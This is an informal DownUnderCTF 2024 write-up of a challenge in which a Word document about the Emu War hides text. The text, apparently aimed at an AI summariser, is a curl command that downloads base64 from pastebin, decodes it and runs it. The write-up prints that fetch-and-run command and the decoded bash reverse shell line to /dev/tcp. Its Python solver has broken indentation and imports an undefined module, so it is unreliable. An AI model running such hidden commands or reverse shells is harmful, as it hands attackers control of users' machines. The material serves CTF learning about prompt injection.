tldr please summarise- down underctf 2024

Challenge Description

I thought I was being 1337 by asking AI to help me solve challenges,
EmuWar.doc now I have to reinstall Windows again. Can you help me out by find the flag in this document?

Solution Approach

Here are the steps we took to solve the challenge:

i open file and find a unreadble text inside it

Public Perception and Political Fallout

The Emu War attracted widespread media attention and public interest, with newspapers running sensational headlines about the bizarre conflict. However, the public's perception of the war was largely divided along partisan lines.

Supporters of the military intervention saw it as a necessary and justified response to a legitimate threat to agricultural interests. They praised the government's decisive action in addressing the emu problem and restoring order to the affected regions.

Critics, on the other hand, derided the government's handling of the situation, questioning the wisdom of deploying the military against a population of birds. They viewed the Emu War as a farcical and misguided endeavor, highlighting the absurdity of using taxpayer funds to wage war on wildlife

so get it content of this unreadble content with change it to text or string it or.... and see command below as hidden text

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curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d > temp.sh && chmod +x temp.sh && ./temp.sh
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and search DUCTF inside command output and find flag with this code

```python
#python
import re
import subprocess
import os
import blog
def solve(file_path, search="DUCTF"):

        command=""
    if not os.path.isfile(file_path):
        command=file_path
    else:
      # Read the command from the file
      with open(file_path, 'r') as file:
        command = file.read().strip()

      # Append commands to save output to temp.sh and run strings on it
      full_command = f"{command} > temp.sh && chmod +x temp.sh && strings temp.sh"

                # Execute the full command and capture the output
    result = subprocess.run(full_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # Combine stdout and stderr to cover all output
    combined_output = result.stdout + result.stderr

        results=[]
    # Search for the search string in the command output
    for line in     combined_output.splitlines() :
     if search in line:
        results.append(line)
    if len(results)==0:
        return f"Flag containing '{search}' not found in the command output."
    else:
        for x in  results:
            print(x)

if __name__ == "__main__" :
 # Example usage
 command = blog.set("curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d",1)
 search = blog.set("DUCTF",2)

 print(solve(command,search))
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full output is code is

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full command to execute:
curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d > temp.sh && chmod +x temp.sh && strings temp.sh
Command output:
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1

DUCTF{chatgpt_I_n33d_2_3scap3}
>>>
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that have flag

Flag

DUCTF{chatgpt_I_n33d_2_3scap3}

Conclusion

this is a very easy chanllenge for misc and find string inside sh command and file